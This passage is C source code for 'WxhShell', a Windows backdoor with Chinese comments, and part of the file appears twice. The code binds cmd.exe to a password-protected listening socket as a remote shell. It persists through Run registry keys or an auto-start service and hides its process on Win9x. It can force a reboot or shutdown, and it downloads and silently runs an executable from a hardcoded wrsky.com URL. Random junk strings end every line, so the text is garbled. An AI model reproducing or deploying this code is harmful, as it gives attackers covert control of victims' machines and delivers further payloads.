    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs<,kMRGVL  
    else { EcwH O  
    closesocket(wsh); e(!a~{(kq%  
    ExitThread(0); mHw1n=B  
    } ;Oe6SNquT  
    break; hM>xe8yE  
    } vuw1ycy)  
  // 关机 ?\^u},HnE|  
  case 'd': { |vEfE{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p aMw88*u  
    if(Boot(SHUTDOWN)) *%8,G'"r?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %tQIKjsVaY  
    else { M c@p~5!M  
    closesocket(wsh); NK"y@)%0  
    ExitThread(0); QRt(?96  
    } }14.u&4  
    break; ]G|@F :  
    } >E)UmO{S  
  // 获取shell I<[(hPQUf  
  case 's': { qn4Dm ^  
    CmdShell(wsh); B=n]N+  
    closesocket(wsh); 14zo0ANM  
    ExitThread(0); fI}-?@  
    break; LJI&j \  
  } ?:H9xJ_^  
  // 退出 sH+]lTSX6{  
  case 'x': { Snh\Fgdz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eb( =V *  
    CloseIt(wsh); 0} P&G^%"  
    break; O\G%rp L$w  
    } *sL'6"#Cre  
  // 离开 +.>O%pNj  
  case 'q': { z!RA=]3h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z39^nGO  
    closesocket(wsh); wBeOMA  
    WSACleanup(); 45ct*w  
    exit(1); ^Jc~G~x4*  
    break; P#Eqe O  
        } 'n>|jw)  
  } " I_T  
  } @&h<jM{D  
0*tEuJ7  
  // 提示信息 fnB-?8K<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uhg[#TUK  
} %e1<N8E4  
  } 4H\O&pSS  
*NXwllrci  
  return; ;#f%vs>Y7i  
} faMUd#o&  
*23  
// shell模块句柄 q)@.f.  
int CmdShell(SOCKET sock) R` X$@iM  
{ .cu5h   
STARTUPINFO si; 9N'$Y*. d<  
ZeroMemory(&si,sizeof(si)); CQv [Od  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -R&h?ec  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .X:{s,@  
PROCESS_INFORMATION ProcessInfo; [Q^kO;  
char cmdline[]="cmd"; w)!(@}vd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BE3~f6 `  
  return 0; CTPn'P=\C  
} );,#H`'  
fcV/co_S6  
// 自身启动模式 [5m;L5  
int StartFromService(void) ?*4]LuK6  
{ G&3j/5V  
typedef struct 4["}U1sG  
{ 0udE\/4!^  
  DWORD ExitStatus; TOBAh.1  
  DWORD PebBaseAddress; kdW i!Hp  
  DWORD AffinityMask; 4|Y0 $(6o  
  DWORD BasePriority; ?V7[,I1?  
  ULONG UniqueProcessId; +mF}j=k  
  ULONG InheritedFromUniqueProcessId; R[_7ab]A  
}   PROCESS_BASIC_INFORMATION; T /] ayc:  
'{7A1yJnY%  
PROCNTQSIP NtQueryInformationProcess; 5d L-v&W  
+vYm:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4|XE f,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h\.UUC&<  
wx57dm+  
  HANDLE             hProcess; MhJ`>.z1  
  PROCESS_BASIC_INFORMATION pbi; XP(q=Mw  
8PQ$X2)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $@K+yOq+u  
  if(NULL == hInst ) return 0; Y-,#3%bT;;  
7Y!^88,f.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lezdJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F.@yNr"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y ruN5  
'z!I#Y!Y  
  if (!NtQueryInformationProcess) return 0; BJ&>'rc  
pq4+n'uO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y %<B,3  
  if(!hProcess) return 0; _~_Hup  
!XtbZ-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~gX@2!D5k  
D/{-  
  CloseHandle(hProcess); R'9TD=qEK  
L8ZCGW\Rr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .#+rH}=Z  
if(hProcess==NULL) return 0; ?=PQQx2_*u  
i\`[0dfY  
HMODULE hMod; 0~FX!1;  
char procName[255]; rj:$'m7  
unsigned long cbNeeded; ^&cI+xZ2Y  
<:%Iq13D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YJ:CqTy  
Duz}e80  
  CloseHandle(hProcess); 2+Fq'!  
>\@6i s  
if(strstr(procName,"services")) return 1; // 以服务启动 gbI0?G6XN/  
C6/,-?%)  
  return 0; // 注册表启动 x^C,xP[#Y;  
} @c{Z?>dUc#  
31bKgU{  
// 主模块 "@Te!.~A.  
int StartWxhshell(LPSTR lpCmdLine) k_y@vW3  
{ {&2$1p/9'  
  SOCKET wsl; ETtK%%F0  
BOOL val=TRUE; ls/:/x(5d  
  int port=0; \x|(`;{  
  struct sockaddr_in door; g/Qr] :;  
)Wc#?K  
  if(wscfg.ws_autoins) Install(); u`("x5sa  
"+)ey> _  
port=atoi(lpCmdLine); H9 't;Do  
l+T\DZ  
if(port<=0) port=wscfg.ws_port; %GHHnf%2Z  
#b{otc)  
  WSADATA data; 6}<PBl%qe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ['sIR+c%'O  
t(ZiQ<A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }~A-ELe:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A70_hhP  
  door.sin_family = AF_INET; (xxJ^u>QC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xorFz{  
  door.sin_port = htons(port); l~uRZLx  
Z0-W%W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,a?em'=  
closesocket(wsl); WQ6E8t)  
return 1; bggSYhJ?\#  
} d;'@4NX5+  
c| p eRO.  
  if(listen(wsl,2) == INVALID_SOCKET) { ;GvyL>|-~  
closesocket(wsl); &#d;dcLe  
return 1; j)J4[j  
} (]iw#m{  
  Wxhshell(wsl); h~F uuL  
  WSACleanup(); l "d&Sgnj  
,Q}/#/  
return 0; 7OW;o mT`  
N;ssO,  
} X|8Y z3:o  
/'">H-r  
// 以NT服务方式启动 KsHovv-A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q A G0t{K  
{ ~_h4|vG  
DWORD   status = 0; u/k#b2BqL  
  DWORD   specificError = 0xfffffff; Ar>Om!]=v  
;E##bdSCA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wd1*wt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fV;&Ag*ZiV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BT`6v+,h7k  
  serviceStatus.dwWin32ExitCode     = 0; VQLo vt"  
  serviceStatus.dwServiceSpecificExitCode = 0; =D3Y q?  
  serviceStatus.dwCheckPoint       = 0; C#vh2'  
  serviceStatus.dwWaitHint       = 0; Imv kB~8N  
 5+VdZ'@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;ATk?O4T  
  if (hServiceStatusHandle==0) return; qWr`cO~hc  
dqG+hh^  
status = GetLastError(); gS"@P:wYzs  
  if (status!=NO_ERROR) {;z3$/JB  
{ )V9$ P)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d5bj$oH  
    serviceStatus.dwCheckPoint       = 0; :*4yR46  
    serviceStatus.dwWaitHint       = 0; /V3*[  
    serviceStatus.dwWin32ExitCode     = status; Z1q '4h=F.  
    serviceStatus.dwServiceSpecificExitCode = specificError; DhB: 8/J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E9 q8tE}  
    return; 2Ie50U  
  } lOZ.{0{f,  
#%+IU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (VC_vz-  
  serviceStatus.dwCheckPoint       = 0; 8mx5K-/,y^  
  serviceStatus.dwWaitHint       = 0; a@m>S$S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /T_tI R>  
} X'iki4  
t}TtWI  
// 处理NT服务事件,比如:启动、停止 >.M `Fz.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YBg\L$| n  
{ ^hZwm8G  
switch(fdwControl) KWXJ[#E<W  
{ Tk+\Biq   
case SERVICE_CONTROL_STOP: ,g^Bu {?  
  serviceStatus.dwWin32ExitCode = 0; nA+[[(6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S: /ShT  
  serviceStatus.dwCheckPoint   = 0; l*%?C*  
  serviceStatus.dwWaitHint     = 0; |=GRPvvi  
  { pY-iz M L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  rro,AS}  
  } 7tfFRUw  
  return; pk"JcUzR  
case SERVICE_CONTROL_PAUSE: @*_#zU#g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h=)Im )  
  break; 6 *Q5.g  
case SERVICE_CONTROL_CONTINUE: tF`>.=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tT'd]  
  break; `&0?e-  
case SERVICE_CONTROL_INTERROGATE: - FE)  
  break; x6F\|nb  
}; !.p!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Z.Ne:*J  
} iiRK3m  
p>R F4  
// 标准应用程序主函数 mflI>J=g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `DJIY_{-2  
{ OE:t!66  
[IW@ mn>  
// 获取操作系统版本 m<OxO\Mpf  
OsIsNt=GetOsVer(); a9D 5qj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hRA.u'M  
Qaagi `  
  // 从命令行安装 {)F-US  
  if(strpbrk(lpCmdLine,"iI")) Install(); l:faI&o.@  
LzgD#Kz  
  // 下载执行文件 HqN|CwGgJ:  
if(wscfg.ws_downexe) { )P|Ql-rE4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]kc_wFT<  
  WinExec(wscfg.ws_filenam,SW_HIDE); BRH:5h  
} vtr:{   
vqL{~tR  
if(!OsIsNt) { sW=@G'}3  
// 如果时win9x,隐藏进程并且设置为注册表启动 nPv2: x  
HideProc(); ,PIdPaV--  
StartWxhshell(lpCmdLine); R]ppA=1*_l  
} _NZ) n)  
else s"a*S\a;b  
  if(StartFromService()) P,wFib^1  
  // 以服务方式启动 faJ5f.  
  StartServiceCtrlDispatcher(DispatchTable); ~=#jO0dE|  
else -=g`7^qa>  
  // 普通方式启动 HWe.|fH:  
  StartWxhshell(lpCmdLine); 3V,X=  
yy #Xs:/  
return 0; R~c(^.|r  
} J-X5n 3I&  
Vy(lyD<6  
;1eu8N8  
-"a])- j  
=========================================== Y}|78|q*  
)8iDjNM<  
iJsw:Nc  
R>Zn$%j\  
$p9XXZ"*  
.h*&$c/l  
" ` D4J9;|;]  
SX F F  
#include <stdio.h> <v{jJ7w  
#include <string.h> t_j.@|/FZ  
#include <windows.h> ;$0za]x  
#include <winsock2.h> Sb{S^w\m0  
#include <winsvc.h> )6AOP-M.9  
#include <urlmon.h> W<9G wMU  
TyK; q{  
#pragma comment (lib, "Ws2_32.lib") 6J=~*&  
#pragma comment (lib, "urlmon.lib") fA+M/}=  
A4&e#  
#define MAX_USER   100 // 最大客户端连接数 z?7s'2w&{  
#define BUF_SOCK   200 // sock buffer $G=\i>R.  
#define KEY_BUFF   255 // 输入 buffer _abVX#5<  
xr6Q5/p1  
#define REBOOT     0   // 重启 v}cm-_*v  
#define SHUTDOWN   1   // 关机 `zep`j&8^  
_Juhl^LM;  
#define DEF_PORT   5000 // 监听端口 6XX5K@  
EIF[e|kZ<  
#define REG_LEN     16   // 注册表键长度 =jG3wf*  
#define SVC_LEN     80   // NT服务名长度 JG4&eK$-  
$~ `(!pa:  
// 从dll定义API Mz"kaO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -<<!eH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W C`1;(#G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4Uwt--KtFh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (+Uo;)~!YC  
n_c0=YH  
// wxhshell配置信息 Lnj5EY er  
struct WSCFG { 3@}_ F<"*  
  int ws_port;         // 监听端口 c=| a\\  
  char ws_passstr[REG_LEN]; // 口令 *Pq`~W_M7  
  int ws_autoins;       // 安装标记, 1=yes 0=no >#8`Zy:/Y  
  char ws_regname[REG_LEN]; // 注册表键名 1 9)78kV{  
  char ws_svcname[REG_LEN]; // 服务名 gjs-j{*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n*;mFV0s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 16aaIK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L9AfLw5&X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dd{{ d?;B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &7<~Q\XZbI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f<zh-Gq  
B! -W765Y  
}; j#~4JGZt  
2C-RoZ~  
// default Wxhshell configuration $MsM$]~  
struct WSCFG wscfg={DEF_PORT, [jLx}\]  
    "xuhuanlingzhe", nl?|X2?C  
    1, PH=wP ft  
    "Wxhshell", |%M%j'9  
    "Wxhshell", ~#j `+  
            "WxhShell Service", Y#N'bvE|%  
    "Wrsky Windows CmdShell Service", |Z "h q  
    "Please Input Your Password: ", 9PR&/Q F5  
  1, RGxOb  
  "http://www.wrsky.com/wxhshell.exe", lL83LhE}<  
  "Wxhshell.exe" V5A7w V3~  
    }; UcK!v*3E  
k5PzY!N  
// 消息定义模块 e%f8|3<6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |0 Zj/1<$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8)H"w$jq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2 na8G  
char *msg_ws_ext="\n\rExit."; 5N[Y2  
char *msg_ws_end="\n\rQuit."; AM}OL Hj  
char *msg_ws_boot="\n\rReboot..."; 0umfC  
char *msg_ws_poff="\n\rShutdown..."; O0Z'vbFG  
char *msg_ws_down="\n\rSave to "; +)F8YMg e  
q|6lw 74`  
char *msg_ws_err="\n\rErr!"; /evh.S  
char *msg_ws_ok="\n\rOK!"; ZERd#7@m+  
2s(K4~ee  
char ExeFile[MAX_PATH]; p~e6ah?1  
int nUser = 0; {<|0M%v  
HANDLE handles[MAX_USER]; vR`KRI`{  
int OsIsNt; *qR tk  
'~a!~F~>  
SERVICE_STATUS       serviceStatus; V8N<%/ A=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C( r?1ma  
S5uV\Y/A  
// 函数声明 }SOj3.9{c  
int Install(void); 9PGSr4V 1  
int Uninstall(void); E@N_~1  
int DownloadFile(char *sURL, SOCKET wsh); >M +!i+  
int Boot(int flag); ,v^it+Jc'  
void HideProc(void); 9:esj{X  
int GetOsVer(void); FB</~ g  
int Wxhshell(SOCKET wsl); wv*r}{%7g[  
void TalkWithClient(void *cs); \@80Z5?n  
int CmdShell(SOCKET sock); T[7- 3[w<)  
int StartFromService(void); t[DXG2&  
int StartWxhshell(LPSTR lpCmdLine); uS&bfx2  
E]e6a^J#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .vb*|So  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &-{4JSII  
<ZnAPh  
// 数据结构和表定义 t<`BaU  
SERVICE_TABLE_ENTRY DispatchTable[] = ?HBc7$nW  
{ ?Jx8z`(  
{wscfg.ws_svcname, NTServiceMain}, ?=fJu\;  
{NULL, NULL} gFW1Nm_DJ  
}; PgxU;N7Y  
O c" 2|X  
// 自我安装 ;1o"Oij  
int Install(void) #2`tsZ]=I  
{ &-&6ARb7o  
  char svExeFile[MAX_PATH]; 0phGn+"R  
  HKEY key; h?idRaN_  
  strcpy(svExeFile,ExeFile); b0 5h,  
;,F}!R  
// 如果是win9x系统,修改注册表设为自启动 3c ^_IuW-  
if(!OsIsNt) { bS0LjvY9g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >uI|S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kj}}O2  
  RegCloseKey(key); }F\0Bl&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ap=_odW~p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q#vur o  
  RegCloseKey(key); oinF<-(  
  return 0; 6T)D6;@L  
    } KBOxr5w  
  } 2'/ ip@  
} Yr0%ZYfN  
else { z43H]  
_w'4f )7  
// 如果是NT以上系统,安装为系统服务 Ye,E7A*L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z*leEwgz  
if (schSCManager!=0) M~^|dR)D  
{  9((v.  
  SC_HANDLE schService = CreateService Hm*n ,8_  
  ( +nZx{d,wt  
  schSCManager, :vm*miOF  
  wscfg.ws_svcname, *O+N4tq  
  wscfg.ws_svcdisp, B` n!IgF8  
  SERVICE_ALL_ACCESS, 9GCxF`OB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UoBu0Rx  
  SERVICE_AUTO_START, _o<8R@1  
  SERVICE_ERROR_NORMAL, PInU-"gG  
  svExeFile, ;Qw>&24h[  
  NULL, F_@PSA+  
  NULL, *)"`v]  
  NULL, qex.}[  
  NULL, " Z#&A  
  NULL Vw+U?  
  ); Dd :Qotu  
  if (schService!=0) ,%D \  
  { y%z$_V]  
  CloseServiceHandle(schService); TqzkF7;k4  
  CloseServiceHandle(schSCManager); yfi.<G)S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )=2iGEVW  
  strcat(svExeFile,wscfg.ws_svcname); nI dvff  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^cX);koO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e6,/ i  
  RegCloseKey(key); vJK0>":G  
  return 0; )6Hc Pso6  
    } iN=-N=  
  } bluhiiATd  
  CloseServiceHandle(schSCManager); }Vk#w%EJ  
} cO_En`F  
} 29}(l#S}m  
qm8[ ^jO&  
return 1; \_0nH`  
} t13wQ t  
V"k*PLt  
// 自我卸载 U^:+J-z{  
int Uninstall(void) CH!Lf,G  
{ b,~6cDU  
  HKEY key; = gOq >`  
..;}EFw5  
if(!OsIsNt) { ^~( @QfY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O~trv,?)  
  RegDeleteValue(key,wscfg.ws_regname); 1iig0l6\m  
  RegCloseKey(key); #r>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D&:,,Dp  
  RegDeleteValue(key,wscfg.ws_regname); <mi*AY  
  RegCloseKey(key); 6-j><'  
  return 0; evz{@;.R  
  } SW# 5px`  
} 4h|sbB"t  
} w%KU@$  
else { wtIXZU x  
AEp|#H' >  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )jm}h7,  
if (schSCManager!=0) Xu2:yf4No*  
{ "NMX>a,(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `[X5mEe  
  if (schService!=0) :$L^l{gT  
  { lN -vFna  
  if(DeleteService(schService)!=0) { <$qe2Ft Uq  
  CloseServiceHandle(schService); A )tGB&  
  CloseServiceHandle(schSCManager); ^FIpkhw  
  return 0; #2^eGhwnI  
  } 2mRm.e9?  
  CloseServiceHandle(schService); ]>B>.s  
  } R %aed>zo  
  CloseServiceHandle(schSCManager); M4~^tML>Ey  
} .SAOE'Foo  
} Lzm9Kh;  
ER;?[!  
return 1; fX^ <H_1$G  
} *QH@c3vUe\  
o/t^rY y  
// 从指定url下载文件  _xjw:  
int DownloadFile(char *sURL, SOCKET wsh) ~M _ @_  
{ a9}7K/Y=d  
  HRESULT hr; p.~hZ+ x_  
char seps[]= "/"; RoS&oGYqR  
char *token; 0go{gUI  
char *file; Y HSdaocp  
char myURL[MAX_PATH]; FhpS#, Y$  
char myFILE[MAX_PATH]; 1P;J%.{  
/g(WCKva  
strcpy(myURL,sURL); ps[HvV"  
  token=strtok(myURL,seps); $F2 A  
  while(token!=NULL) ?d&l_Pa0e  
  { <$metN~9j  
    file=token; Y=6569U2  
  token=strtok(NULL,seps); `#Z=cq^_  
  } 9EHhVi  
g3B%}!|  
GetCurrentDirectory(MAX_PATH,myFILE); zZR_&z<  
strcat(myFILE, "\\"); pL 2P .  
strcat(myFILE, file); @ LPs.e  
  send(wsh,myFILE,strlen(myFILE),0); R2,Z`I  
send(wsh,"...",3,0); wIeF(}VM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /u?ZwoTzY  
  if(hr==S_OK) v,, .2UR4  
return 0; ||yx?q6\h  
else 57@6O-t-  
return 1; ^__';! e  
N)CM^$(T|  
} 2 8>  
uC$!|I  
// 系统电源模块 lZ gX{  
int Boot(int flag) Z{XF!pS%H  
{ ~/C9VR&  
  HANDLE hToken; 6Uh_&?\%  
  TOKEN_PRIVILEGES tkp; Mj!\EUn  
[A\DuJx  
  if(OsIsNt) { Q 8| C>$n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9 696EQ,I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fj"1TtPq#  
    tkp.PrivilegeCount = 1; V) xwlvX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U-+o6XX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W=G8l%  
if(flag==REBOOT) { %/;*Ewwb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +6~ut^YiM.  
  return 0; =Vie0TV&h  
} n Nu~)X  
else { {gT4Oq__  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  /dI8o  
  return 0; qzk!'J3*r<  
} "~2SHM@q  
  } ?COLjk  
  else { zy'e|92aO  
if(flag==REBOOT) { E5iNuJj=f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1L;3e@G  
  return 0; MxLg8,M  
} 2^w8J w9  
else { 7H])2:)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u!CcTE*  
  return 0; {q!GTO  
} (4f]<Qt  
} {e!3|&AX  
~v>3lEGn*  
return 1; RoFoEp  
} .~ O- <P#  
0?,<7}"<X  
// win9x进程隐藏模块 S\M+*:7  
void HideProc(void) KOhK#t>H@0  
{ awB+B8^s  
U%rEW[j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A<}nXHs-  
  if ( hKernel != NULL ) `a6AES'w$  
  { :P8X?C63W]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l6T^e@*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y0]"qB  
    FreeLibrary(hKernel); xp*Wf#BF  
  } A1Es>NK[qW  
XOL_vS24  
return; Suo%uD  
} PiIP%$72O  
##6u  
// 获取操作系统版本 Ak kth*p  
int GetOsVer(void) tP1znJh>y  
{ #g#[|c.  
  OSVERSIONINFO winfo; f4;V7DJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z~AgZM R  
  GetVersionEx(&winfo); laRn![[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #EA` |  
  return 1; a9_KoOa.H  
  else 1lYQR`Uh  
  return 0; L[voouaqm  
} \MDhm,H<  
K%.t%)A_3  
// 客户端句柄模块 oH(a*i  
int Wxhshell(SOCKET wsl) zDf96eK  
{ zI= 9  
  SOCKET wsh; |R;`  
  struct sockaddr_in client; m1D,#=C,_  
  DWORD myID; z2iWr  
.I Io   
  while(nUser<MAX_USER) ,`!>.E.  
{ \E1CQP-  
  int nSize=sizeof(client); =F% <W7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1* ?XI  
  if(wsh==INVALID_SOCKET) return 1; 2)Q%lEm`SP  
;TKsAU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2WS Wfh  
if(handles[nUser]==0) Tmk'rOg5  
  closesocket(wsh); 9^CuSj  
else 5mX"0a_Q  
  nUser++; >~O/ZDu/@  
  } /%F5u}eW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p4uN+D `.U  
D}rnp wp{  
  return 0; N C3XJ 4  
} A;TNR  
qtjx<`EK>  
// 关闭 socket m 0]1(\%  
void CloseIt(SOCKET wsh) FI@kE19  
{ -I:L6ft8  
closesocket(wsh); 6?'; ip  
nUser--; yu jv^2/  
ExitThread(0);  z $iI  
} #Cb~-2:+7  
E J&w6),d  
// 客户端请求句柄 h ^Wm03w  
void TalkWithClient(void *cs) )_kU,RvZ  
{ m'KEN<)s  
ll ^I ;o0  
  SOCKET wsh=(SOCKET)cs; a|ZJzuqo  
  char pwd[SVC_LEN]; v2ab84 C*  
  char cmd[KEY_BUFF]; ,Vy_%f  
char chr[1]; $\aJ.N6rb  
int i,j; 4|hfzCjMI  
7g4IAsoD  
  while (nUser < MAX_USER) { ?NxaJ^  
Xc9NM1bp=  
if(wscfg.ws_passstr) { &<Fw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ny$N5/b!!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bwK1XlfD.s  
  //ZeroMemory(pwd,KEY_BUFF); V8 G.KA "  
      i=0; ~3$:C#"Dl  
  while(i<SVC_LEN) { 8aY}b($*ZI  
m[%P3  
  // 设置超时 q4niA  
  fd_set FdRead; WS+uKb^<  
  struct timeval TimeOut; &S[>*+}{+  
  FD_ZERO(&FdRead); z J V>;  
  FD_SET(wsh,&FdRead); G)gPL]C0  
  TimeOut.tv_sec=8; BSY7un+`:  
  TimeOut.tv_usec=0; b~;M&Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {tuGkRY2 ~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UAds$ 9  
gb26Y!7%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '/fueku  
  pwd=chr[0]; fS4 Ru  
  if(chr[0]==0xd || chr[0]==0xa) { EdCcnl?R6  
  pwd=0; SpM Hq_MLM  
  break; 36d6KS 7  
  } yW;]J8 7*  
  i++; lrmz'M'  
    } W"g@*B'|  
<%"CQT6g %  
  // 如果是非法用户,关闭 socket 8*sP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sr-!-eC  
} T9AFL;1  
8ZNwo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X1="1{8H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KS;Wr6]@(O  
zLjQ,Lp.I  
while(1) { H,)2Ou-Wn  
J6J; !~>_  
  ZeroMemory(cmd,KEY_BUFF); mSp;(oQ  
CMfR&G,)  
      // 自动支持客户端 telnet标准   -V52?Hq  
  j=0; Px`z$~*B:  
  while(j<KEY_BUFF) { > M4QEv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (o8?j^ -v  
  cmd[j]=chr[0]; m</nOf+C  
  if(chr[0]==0xa || chr[0]==0xd) { Zv8G[(  
  cmd[j]=0; 8cbgP$X  
  break; - P'c0I9z  
  } eSSv8 [u  
  j++; 0*:4@go0}i  
    } 9]|G-cyt  
Tl*FK?)MC^  
  // 下载文件 ;CA7\&L>  
  if(strstr(cmd,"http://")) { nn/_>%Y  
